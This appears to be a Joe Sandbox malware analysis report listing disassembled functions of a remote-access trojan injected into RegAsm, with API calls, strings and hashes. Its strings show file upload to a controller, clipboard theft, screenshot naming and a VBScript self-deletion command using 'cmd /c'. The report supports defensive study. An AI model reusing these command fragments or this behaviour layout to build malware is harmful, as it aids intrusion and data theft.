                      • Shell_NotifyIconA.SHELL32(00000002,00474B48), ref: 0041D65D
                      • ExitProcess.KERNEL32 ref: 0041D665
                      • CreatePopupMenu.USER32 ref: 0041D66B
                      • AppendMenuA.USER32(00000000,00000000,00000000,Close), ref: 0041D680
                      Strings
                      Memory Dump Source
                      • Source File: 0000000C.00000002.970026659.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 0000000C.00000002.970026659.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 0000000C.00000002.970026659.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: Menu$PopupWindow$AppendCreateCursorExitForegroundIconNotifyProcProcessShell_Track
                      • String ID: Close
                      • API String ID: 1657328048-3535843008
                      • Opcode ID: dc0ab9a0fe4ab677523636461039160516679b910eee6fe46bba41fdb84f3345
                      • Instruction ID: 483e3be36cf21f9f431d69439bfbb75804d706e25d1e382f075e68ac53faeb55
                      • Opcode Fuzzy Hash: dc0ab9a0fe4ab677523636461039160516679b910eee6fe46bba41fdb84f3345
                      • Instruction Fuzzy Hash: 392127B1944208FFDB194FA4ED0EAAA3B65FB08342F000135FA0A950B1D775EDA1EB5D
                      Function 00445D56 Relevance: 22.8, APIs: 15, Instructions: 296COMMON
                      Download Yara Rule
                      APIs
                      Memory Dump Source
                      • Source File: 0000000C.00000002.970026659.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 0000000C.00000002.970026659.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 0000000C.00000002.970026659.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: _free$Info
                      • String ID:
                      • API String ID: 2509303402-0
                      • Opcode ID: c43f3e9ef6aa90fc617fbeb0adb34ec0a6d023508037e2c59db227b807854484
                      • Instruction ID: 88ee944febda996c7adaaf7605242af7944d99fb061a5fd2e4f26fad8993db39
                      • Opcode Fuzzy Hash: c43f3e9ef6aa90fc617fbeb0adb34ec0a6d023508037e2c59db227b807854484
                      • Instruction Fuzzy Hash: 75B1CD719006059FEF20DF69C881BEEBBB4FF09304F14412EF5A8A7242D6799D45CB65
                      Function 00408B7A Relevance: 21.3, APIs: 8, Strings: 4, Instructions: 328fileCOMMON
                      Download Yara Rule
                      APIs
                      • CreateFileW.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000080,00000000), ref: 00408CE3
                      • GetFileSizeEx.KERNEL32(00000000,?), ref: 00408D1B
                      • __aulldiv.LIBCMT ref: 00408D4D
                        • Part of subcall function 00404AA1: send.WS2_32(FFFFFFFF,00000000,00000000,00000000), ref: 00404B36
                        • Part of subcall function 0041B4EF: GetLocalTime.KERNEL32(00000000), ref: 0041B509
                      • SetFilePointerEx.KERNEL32(00000000,?,?,00000000,00000000), ref: 00408E70
                      • ReadFile.KERNEL32(00000000,00000000,?,?,00000000), ref: 00408E8B
                      • CloseHandle.KERNEL32(00000000), ref: 00408F64
                      • CloseHandle.KERNEL32(00000000), ref: 00408FAE
                      • CloseHandle.KERNEL32(00000000), ref: 00408FFC
                      Strings
                      Memory Dump Source
                      • Source File: 0000000C.00000002.970026659.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 0000000C.00000002.970026659.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 0000000C.00000002.970026659.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: File$CloseHandle$CreateLocalPointerReadSizeTime__aulldivsend
                      • String ID: ReadFile error$SetFilePointerEx error$Uploading file to Controller: $NG
                      • API String ID: 3086580692-2582957567
                      • Opcode ID: fab45d6a79c9ac0bf1655f247f025cadc321dba09b469fb01c23ef7c289d3ac7
                      • Instruction ID: 4fd1ef8f0950b8c70c5ee12d710945c0a569e6ad21e20d2a74dcf75f3ec9a52d
                      • Opcode Fuzzy Hash: fab45d6a79c9ac0bf1655f247f025cadc321dba09b469fb01c23ef7c289d3ac7
                      • Instruction Fuzzy Hash: 95B193716083409BC314FB25C982AAFB7E5AFC4354F50492FF589622D2EF789945CB8B
                      Function 004512C6 Relevance: 19.6, APIs: 13, Instructions: 114COMMONLIBRARYCODE
                      Download Yara Rule
                      APIs
                      • ___free_lconv_mon.LIBCMT ref: 0045130A
                        • Part of subcall function 00450502: _free.LIBCMT ref: 0045051F
                        • Part of subcall function 00450502: _free.LIBCMT ref: 00450531
                        • Part of subcall function 00450502: _free.LIBCMT ref: 00450543
                        • Part of subcall function 00450502: _free.LIBCMT ref: 00450555
                        • Part of subcall function 00450502: _free.LIBCMT ref: 00450567
                        • Part of subcall function 00450502: _free.LIBCMT ref: 00450579
                        • Part of subcall function 00450502: _free.LIBCMT ref: 0045058B
                        • Part of subcall function 00450502: _free.LIBCMT ref: 0045059D
                        • Part of subcall function 00450502: _free.LIBCMT ref: 004505AF
                        • Part of subcall function 00450502: _free.LIBCMT ref: 004505C1
                        • Part of subcall function 00450502: _free.LIBCMT ref: 004505D3
                        • Part of subcall function 00450502: _free.LIBCMT ref: 004505E5
                        • Part of subcall function 00450502: _free.LIBCMT ref: 004505F7
                      • _free.LIBCMT ref: 004512FF
                        • Part of subcall function 00446782: HeapFree.KERNEL32(00000000,00000000), ref: 00446798
                        • Part of subcall function 00446782: GetLastError.KERNEL32(?,?,00450C6F,?,00000000,?,00000000,?,00450F13,?,00000007,?,?,0045145E,?,?), ref: 004467AA
                      • _free.LIBCMT ref: 00451321
                      • _free.LIBCMT ref: 00451336
                      • _free.LIBCMT ref: 00451341
                      • _free.LIBCMT ref: 00451363
                      • _free.LIBCMT ref: 00451376
                      • _free.LIBCMT ref: 00451384
                      • _free.LIBCMT ref: 0045138F
                      • _free.LIBCMT ref: 004513C7
                      • _free.LIBCMT ref: 004513CE
                      • _free.LIBCMT ref: 004513EB
                      • _free.LIBCMT ref: 00451403
                      Memory Dump Source
                      • Source File: 0000000C.00000002.970026659.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 0000000C.00000002.970026659.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 0000000C.00000002.970026659.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: _free$ErrorFreeHeapLast___free_lconv_mon
                      • String ID:
                      • API String ID: 161543041-0
                      • Opcode ID: 9bfda5629608ba7fc19c0d50907ac959002cc076efa33527145bad7316b2b0bb
                      • Instruction ID: 673b37a441ff9bbb7eb6cd98574e5fa8379d72fae64c09c4febd1ea684bb8cd8
                      • Opcode Fuzzy Hash: 9bfda5629608ba7fc19c0d50907ac959002cc076efa33527145bad7316b2b0bb
                      • Instruction Fuzzy Hash: 0E319E315007009FFB20AA7AD845B5B73E8EF0131AF50851FEC68D7662DF78AD448B59
                      Function 10007CC2 Relevance: 19.6, APIs: 13, Instructions: 114COMMONLIBRARYCODE
                      Download Yara Rule
                      APIs
                      • ___free_lconv_mon.LIBCMT ref: 10007D06
                        • Part of subcall function 100090BA: _free.LIBCMT ref: 100090D7
                        • Part of subcall function 100090BA: _free.LIBCMT ref: 100090E9
                        • Part of subcall function 100090BA: _free.LIBCMT ref: 100090FB
                        • Part of subcall function 100090BA: _free.LIBCMT ref: 1000910D
                        • Part of subcall function 100090BA: _free.LIBCMT ref: 1000911F
                        • Part of subcall function 100090BA: _free.LIBCMT ref: 10009131
                        • Part of subcall function 100090BA: _free.LIBCMT ref: 10009143
                        • Part of subcall function 100090BA: _free.LIBCMT ref: 10009155
                        • Part of subcall function 100090BA: _free.LIBCMT ref: 10009167
                        • Part of subcall function 100090BA: _free.LIBCMT ref: 10009179
                        • Part of subcall function 100090BA: _free.LIBCMT ref: 1000918B
                        • Part of subcall function 100090BA: _free.LIBCMT ref: 1000919D
                        • Part of subcall function 100090BA: _free.LIBCMT ref: 100091AF
                      • _free.LIBCMT ref: 10007CFB
                        • Part of subcall function 1000571E: HeapFree.KERNEL32(00000000,00000000), ref: 10005734
                        • Part of subcall function 1000571E: GetLastError.KERNEL32(?,?,1000924F,?,00000000,?,00000000,?,10009276,?,00000007,?,?,10007E5A,?,?), ref: 10005746
                      • _free.LIBCMT ref: 10007D1D
                      • _free.LIBCMT ref: 10007D32
                      • _free.LIBCMT ref: 10007D3D
                      • _free.LIBCMT ref: 10007D5F
                      • _free.LIBCMT ref: 10007D72
                      • _free.LIBCMT ref: 10007D80
                      • _free.LIBCMT ref: 10007D8B
                      • _free.LIBCMT ref: 10007DC3
                      • _free.LIBCMT ref: 10007DCA
                      • _free.LIBCMT ref: 10007DE7
                      • _free.LIBCMT ref: 10007DFF
                      Memory Dump Source
                      • Source File: 0000000C.00000002.970671357.0000000010001000.00000040.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                      • Associated: 0000000C.00000002.970667559.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                      • Associated: 0000000C.00000002.970671357.0000000010016000.00000040.00001000.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_12_2_10000000_RegAsm.jbxd
                      Similarity
                      • API ID: _free$ErrorFreeHeapLast___free_lconv_mon
                      • String ID:
                      • API String ID: 161543041-0
                      • Opcode ID: 04f87de51616aa77c632626b63215b7c3e2981daeb02be256c48a4a07a0be686
                      • Instruction ID: 6de9b84f5b51ee4e35cbeb1ed48e08772f21b212059d2ac72beb9c863e9ed859
                      • Opcode Fuzzy Hash: 04f87de51616aa77c632626b63215b7c3e2981daeb02be256c48a4a07a0be686
                      • Instruction Fuzzy Hash: 90313931A04645EFFB21DA38E941B6A77FAFF002D1F11446AE84DDB159DE3ABC809B14
                      Function 00419FB4 Relevance: 19.4, APIs: 6, Strings: 5, Instructions: 176sleeptimeCOMMON
                      Download Yara Rule
                      APIs
                      • __EH_prolog.LIBCMT ref: 00419FB9
                      • GdiplusStartup.GDIPLUS(00474ACC,?,00000000), ref: 00419FEB
                      • CreateDirectoryW.KERNEL32(00000000,00000000,00000000,0000001A,00000019), ref: 0041A077
                      • Sleep.KERNEL32(000003E8), ref: 0041A0FD
                      • GetLocalTime.KERNEL32(?), ref: 0041A105
                      • Sleep.KERNEL32(00000000,00000018,00000000), ref: 0041A1F4
                      Strings
                      Memory Dump Source
                      • Source File: 0000000C.00000002.970026659.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 0000000C.00000002.970026659.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 0000000C.00000002.970026659.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: Sleep$CreateDirectoryGdiplusH_prologLocalStartupTime
                      • String ID: time_%04i%02i%02i_%02i%02i%02i$wnd_%04i%02i%02i_%02i%02i%02i$PG$PG$PG
                      • API String ID: 489098229-1431523004
                      • Opcode ID: 8e408b2f37b5a40c6075e10aa462efa04368c9b3309c0ae95edff302c11cc8c3
                      • Instruction ID: 65e100c03f0dda0ba9a952c873ad8774fe275ee1deca45487f64c7c8a8292b0e
                      • Opcode Fuzzy Hash: 8e408b2f37b5a40c6075e10aa462efa04368c9b3309c0ae95edff302c11cc8c3
                      • Instruction Fuzzy Hash: E7515D70A00215AACB14BBB5C8529ED7BA9AB44308F40403FF509AB1E2EF7C9D85C799
                      Function 0040D7FF Relevance: 19.4, APIs: 3, Strings: 8, Instructions: 148COMMON
                      Download Yara Rule
                      APIs
                        • Part of subcall function 00412850: TerminateProcess.KERNEL32(00000000,pth_unenc,0040F8C8), ref: 00412860
                        • Part of subcall function 00412850: WaitForSingleObject.KERNEL32(000000FF), ref: 00412873
                        • Part of subcall function 004136F8: RegOpenKeyExA.KERNEL32(80000001,00000000,00000000,00020019,00000000), ref: 00413714
                        • Part of subcall function 004136F8: RegQueryValueExA.KERNEL32 ref: 0041372D
                        • Part of subcall function 004136F8: RegCloseKey.KERNEL32(00000000), ref: 00413738
                      • GetModuleFileNameW.KERNEL32(00000000,?,00000208), ref: 0040D859
                      • ShellExecuteW.SHELL32(00000000,open,00000000,00466468,00466468,00000000), ref: 0040D9B8
                      • ExitProcess.KERNEL32 ref: 0040D9C4
                      Strings
                      Memory Dump Source
                      • Source File: 0000000C.00000002.970026659.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 0000000C.00000002.970026659.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 0000000C.00000002.970026659.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: Process$CloseExecuteExitFileModuleNameObjectOpenQueryShellSingleTerminateValueWait
                      • String ID: """, 0$.vbs$8SG$CreateObject("Scripting.FileSystemObject").DeleteFile(Wscript.ScriptFullName)$CreateObject("WScript.Shell").Run "cmd /c ""$Temp$exepath$open
                      • API String ID: 1913171305-3159800282
                      • Opcode ID: 524a6ee67eac097be960b5c691f7399128dd62eb0b1fd7f322d11bf520c9c063
                      • Instruction ID: 6fc8d312854778a25908ca85050b1cee1951ef16e4956e50e312a563d71e527c
                      • Opcode Fuzzy Hash: 524a6ee67eac097be960b5c691f7399128dd62eb0b1fd7f322d11bf520c9c063
                      • Instruction Fuzzy Hash: 0C413A719001195ACB15FA62DC56DEEB778AF50309F10007FB10AB61E2EF785E4ACA98
                      Function 00450600 Relevance: 18.4, APIs: 12, Instructions: 376COMMON
                      Download Yara Rule
                      APIs
                      Memory Dump Source
                      • Source File: 0000000C.00000002.970026659.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 0000000C.00000002.970026659.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 0000000C.00000002.970026659.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: _free
                      • String ID:
                      • API String ID: 269201875-0
                      • Opcode ID: 47079874d6611f76b22abc1c1892e8562d414d23f3395fd45a7677fdf32a9ec5
                      • Instruction ID: d910990a8472ee08c0279d8077499983e41ff25138a9859a729e4309013b5263
                      • Opcode Fuzzy Hash: 47079874d6611f76b22abc1c1892e8562d414d23f3395fd45a7677fdf32a9ec5
                      • Instruction Fuzzy Hash: E2C17476D40204AFEB20DBA9CC83FDE77B8AB19705F14015AFE05EB283D6B49D458798
                      Function 00455BDB Relevance: 17.8, APIs: 9, Strings: 1, Instructions: 272COMMONLIBRARYCODE
                      Download Yara Rule
                      APIs
                        • Part of subcall function 004558A9: CreateFileW.KERNEL32(00000000,00000000,?,00455C84,?,?,00000000), ref: 004558C6
                      • GetLastError.KERNEL32 ref: 00455CEF
                      • __dosmaperr.LIBCMT ref: 00455CF6
                      • GetFileType.KERNEL32 ref: 00455D02
                      • GetLastError.KERNEL32 ref: 00455D0C
                      • __dosmaperr.LIBCMT ref: 00455D15
                      • CloseHandle.KERNEL32(00000000), ref: 00455D35
                      • CloseHandle.KERNEL32(?), ref: 00455E7F
                      • GetLastError.KERNEL32 ref: 00455EB1
                      • __dosmaperr.LIBCMT ref: 00455EB8
                      Strings
                      Memory Dump Source
                      • Source File: 0000000C.00000002.970026659.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 0000000C.00000002.970026659.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 0000000C.00000002.970026659.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: ErrorLast__dosmaperr$CloseFileHandle$CreateType
                      • String ID: H
                      • API String ID: 4237864984-2852464175
                      • Opcode ID: ad10cc44415123364ccf3ab0f87a2b5b2deaae059395c87e8052164914e7d7f7
                      • Instruction ID: f4290dc4267d91ba683862cdaabef3013db21248f4240db41616def06e578eae
                      • Opcode Fuzzy Hash: ad10cc44415123364ccf3ab0f87a2b5b2deaae059395c87e8052164914e7d7f7
                      • Instruction Fuzzy Hash: D5A155329106049FDF19AF68DC617BE3BA0EB06325F14415EEC11EB392CB398D5ACB59
                      Function 00453D83 Relevance: 17.8, APIs: 9, Strings: 1, Instructions: 268COMMON
                      Download Yara Rule
                      APIs
                      • GetCPInfo.KERNEL32(00000000,00000001,?,7FFFFFFF,?,?,0045405C,00000000,00000000,?,00000001,?,?,?,?,00000001), ref: 00453E2F
                      • MultiByteToWideChar.KERNEL32(00000000,00000009,00000000,00000001,00000000,00000000,?,0045405C,00000000,00000000,?,00000001,?,?,?,?), ref: 00453EB2
                      • __alloca_probe_16.LIBCMT ref: 00453EEA
                      • MultiByteToWideChar.KERNEL32(00000001,00000001,?,00000001,00000000,\@E,?,0045405C,00000000,00000000,?,00000001,?,?,?,?), ref: 00453F45
                      • __alloca_probe_16.LIBCMT ref: 00453F94
                      • MultiByteToWideChar.KERNEL32(00000001,00000009,00000001,00000000,00000000,00000000,?,0045405C,00000000,00000000,?,00000001,?,?,?,?), ref: 00453F5C
                        • Part of subcall function 00446137: RtlAllocateHeap.NTDLL(00000000,0043529C,?,?,00438847,?,?,00000000,?,?,0040DE62,0043529C,?,?,?,?), ref: 00446169
                      • MultiByteToWideChar.KERNEL32(00000001,00000001,00000001,00000000,00000000,?,?,0045405C,00000000,00000000,?,00000001,?,?,?,?), ref: 00453FD8
                      • __freea.LIBCMT ref: 00454003
                      • __freea.LIBCMT ref: 0045400F
                      Strings
                      Memory Dump Source
                      • Source File: 0000000C.00000002.970026659.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 0000000C.00000002.970026659.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 0000000C.00000002.970026659.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: ByteCharMultiWide$__alloca_probe_16__freea$AllocateHeapInfo
                      • String ID: \@E
                      • API String ID: 201697637-1814623452
                      • Opcode ID: b82298bc980002c4571abe1a7b6d85811e1f97afd47d25fecd247c7af7e2facf
                      • Instruction ID: bd5a1837779a5f2dcb5c2ea5aeb828518df7829aba760434011a70bbc407b236
                      • Opcode Fuzzy Hash: b82298bc980002c4571abe1a7b6d85811e1f97afd47d25fecd247c7af7e2facf
                      • Instruction Fuzzy Hash: E391F472E002069ADB209E65CC42AEFBBF59F09756F14052BFC01E7282D739DD89C768
                      Function 00450A25 Relevance: 17.7, APIs: 7, Strings: 3, Instructions: 204COMMON
                      Download Yara Rule
                      APIs
                      Strings
                      Memory Dump Source
                      • Source File: 0000000C.00000002.970026659.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 0000000C.00000002.970026659.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 0000000C.00000002.970026659.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: _free
                      • String ID: \&G$\&G$`&G
                      • API String ID: 269201875-253610517
                      • Opcode ID: 97c3add27e511c4221db80506819b16e682529302af84ee57927f6cd57728be0
                      • Instruction ID: 0b3297c67b001fbc5a9f4fbe1fd197d652097ca420ae28a40b4f72db8b3ed5d1
                      • Opcode Fuzzy Hash: 97c3add27e511c4221db80506819b16e682529302af84ee57927f6cd57728be0
                      • Instruction Fuzzy Hash: 77610475900204AFDB20CFA9C882B9ABBF4EF05315F14416BED58EB342D774AD458B98
                      Function 00414BB0 Relevance: 17.7, APIs: 8, Strings: 2, Instructions: 158COMMON
                      Download Yara Rule
                      Strings
                      Memory Dump Source
                      • Source File: 0000000C.00000002.970026659.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 0000000C.00000002.970026659.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 0000000C.00000002.970026659.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID:
                      • String ID: 65535$udp
                      • API String ID: 0-1267037602
                      • Opcode ID: c855b19cc43d9bec36cd86ac5f012ace8f0d54e169e32fa1a21da6d4488bf9b2
                      • Instruction ID: ff24d6befd6f0703c902a6165bd45161ed4db0fb5f75d2635e7e580b9b2721aa
                      • Opcode Fuzzy Hash: c855b19cc43d9bec36cd86ac5f012ace8f0d54e169e32fa1a21da6d4488bf9b2
                      • Instruction Fuzzy Hash: EF51E7756093019FDB209B58E9057BB37A4AFC4755F08082FF881973A1E76DCCC1865E
                      Function 0043A83A Relevance: 16.6, APIs: 11, Instructions: 116COMMONLIBRARYCODE
                      Download Yara Rule
                      APIs
                      • MultiByteToWideChar.KERNEL32(?,00000000,00000050,000000FF,00000000,00000000,?,?,?,00401D55,?,00000050,%Y-%m-%d %H.%M,00000000), ref: 0043A892
                      • GetLastError.KERNEL32(?,?,00401D55,?,00000050,%Y-%m-%d %H.%M,00000000), ref: 0043A89F
                      • __dosmaperr.LIBCMT ref: 0043A8A6
                      • MultiByteToWideChar.KERNEL32(?,00000000,00000050,000000FF,00000000,00000000,?,?,?,00401D55,?,00000050,%Y-%m-%d %H.%M,00000000), ref: 0043A8D2
                      • GetLastError.KERNEL32(?,?,?,00401D55,?,00000050,%Y-%m-%d %H.%M,00000000), ref: 0043A8DC
                      • __dosmaperr.LIBCMT ref: 0043A8E3
                      • WideCharToMultiByte.KERNEL32(?,00000000,00000000,000000FF,00000000,?,00000000,00000000,?,?,?,?,?,?,00401D55,?), ref: 0043A926
                      • GetLastError.KERNEL32(?,?,?,?,?,?,00401D55,?,00000050,%Y-%m-%d %H.%M,00000000), ref: 0043A930
                      • __dosmaperr.LIBCMT ref: 0043A937
                      • _free.LIBCMT ref: 0043A943
                      • _free.LIBCMT ref: 0043A94A
                      Memory Dump Source
                      • Source File: 0000000C.00000002.970026659.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 0000000C.00000002.970026659.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 0000000C.00000002.970026659.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: ByteCharErrorLastMultiWide__dosmaperr$_free
                      • String ID:
                      • API String ID: 2441525078-0
                      • Opcode ID: ad6d2cb2e677ca1b0a2e36bb2f761ff70c692d274a08f618d4296a8b89361871
                      • Instruction ID: 785efe6d9c8e3fffb8b85045f967b8474775cb8629fdf0d32462ae01257f7f2e
                      • Opcode Fuzzy Hash: ad6d2cb2e677ca1b0a2e36bb2f761ff70c692d274a08f618d4296a8b89361871
                      • Instruction Fuzzy Hash: FF31F57140420AFFDF01AFA5CC45DAF3B68EF09325F10021AF950662A1DB38CD21DB6A
                      Function 004054A0 Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 155windowmemoryCOMMON
                      Download Yara Rule
                      APIs
                      • SetEvent.KERNEL32(?,?), ref: 004054BF
                      • GetMessageA.USER32 ref: 0040556F
                      • TranslateMessage.USER32(?), ref: 0040557E
                      • DispatchMessageA.USER32 ref: 00405589
                      • HeapCreate.KERNEL32(00000000,00000000,00000000,00000074,00474F78), ref: 00405641
                      • HeapFree.KERNEL32(00000000,00000000,0000003B), ref: 00405679
                        • Part of subcall function 00404AA1: send.WS2_32(FFFFFFFF,00000000,00000000,00000000), ref: 00404B36
                      Strings
                      Memory Dump Source
                      • Source File: 0000000C.00000002.970026659.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 0000000C.00000002.970026659.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 0000000C.00000002.970026659.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: Message$Heap$CreateDispatchEventFreeTranslatesend
                      • String ID: CloseChat$DisplayMessage$GetMessage
                      • API String ID: 2956720200-749203953
                      • Opcode ID: 5ea030363712ba77842d536cdbf33def2348f5e0d7544d4704eea9ef4d92fc10
                      • Instruction ID: c1940132788662b917c5ec79ff16bb55de46c7435784779dc5fc992d72e4b12f
                      • Opcode Fuzzy Hash: 5ea030363712ba77842d536cdbf33def2348f5e0d7544d4704eea9ef4d92fc10
                      • Instruction Fuzzy Hash: CE41A171604701ABCB14FB75DC5A86F37A9AB85704F40093EF916A36E1EF3C8905CB9A
                      Function 00417CDF Relevance: 15.9, APIs: 4, Strings: 5, Instructions: 108filesynchronizationCOMMON
                      Download Yara Rule
                      APIs
                        • Part of subcall function 00417F2C: __EH_prolog.LIBCMT ref: 00417F31
                      • WaitForSingleObject.KERNEL32(00000000,000000FF,00000070,004660A4), ref: 00417DDC
                      • CloseHandle.KERNEL32(00000000), ref: 00417DE5
                      • DeleteFileA.KERNEL32(00000000), ref: 00417DF4
                      • ShellExecuteExA.SHELL32(0000003C,00000000,00000010,?,?,?), ref: 00417DA8
                        • Part of subcall function 00404AA1: send.WS2_32(FFFFFFFF,00000000,00000000,00000000), ref: 00404B36
                      Strings
                      Memory Dump Source
                      • Source File: 0000000C.00000002.970026659.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 0000000C.00000002.970026659.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 0000000C.00000002.970026659.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: CloseDeleteExecuteFileH_prologHandleObjectShellSingleWaitsend
                      • String ID: 0VG$0VG$<$@$Temp
                      • API String ID: 1704390241-2575729100
                      • Opcode ID: f9dca7dd06046e6c411ba29df404d481f290ae67984b7d40cebbfb2df60e7368
                      • Instruction ID: cfce1e327495ca125f9f778a73892d1ad62a3a088d665d9de3c725e9e650d499
                      • Opcode Fuzzy Hash: f9dca7dd06046e6c411ba29df404d481f290ae67984b7d40cebbfb2df60e7368
                      • Instruction Fuzzy Hash: 0E415F319002099BCB14FB62DC56AEE7775AF40318F50417EF506764E1EF7C1A8ACB99
                      Function 00416940 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 46clipboardCOMMON
                      Download Yara Rule
                      APIs
                      • OpenClipboard.USER32 ref: 00416941
                      • EmptyClipboard.USER32 ref: 0041694F
                      • CloseClipboard.USER32 ref: 00416955
                      • OpenClipboard.USER32 ref: 0041695C
                      • GetClipboardData.USER32 ref: 0041696C
                      • GlobalLock.KERNEL32 ref: 00416975
                      • GlobalUnlock.KERNEL32(00000000), ref: 0041697E
                      • CloseClipboard.USER32 ref: 00416984
                        • Part of subcall function 00404AA1: send.WS2_32(FFFFFFFF,00000000,00000000,00000000), ref: 00404B36
                      Strings
                      Memory Dump Source
                      • Source File: 0000000C.00000002.970026659.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 0000000C.00000002.970026659.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 0000000C.00000002.970026659.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: Clipboard$CloseGlobalOpen$DataEmptyLockUnlocksend
                      • String ID: !D@
                      • API String ID: 2172192267-604454484
                      • Opcode ID: 22318caa46b03491db73261d90afa6b2702e1cfc59c73c6bb5b0d0ad4bd6099c
                      • Instruction ID: 305b70c8a6b081cbeb1fc088e42579eafb4add048c4ccd3ac1cf7446a02d8759
                      • Opcode Fuzzy Hash: 22318caa46b03491db73261d90afa6b2702e1cfc59c73c6bb5b0d0ad4bd6099c
                      • Instruction Fuzzy Hash: CC015E31214301DFC714BB72DC09AAE77A5AF88742F40047EF906821E2DF38CC44CA69
                      Function 0041AB0D Relevance: 15.1, APIs: 10, Instructions: 66serviceCOMMON
                      Download Yara Rule
                      APIs
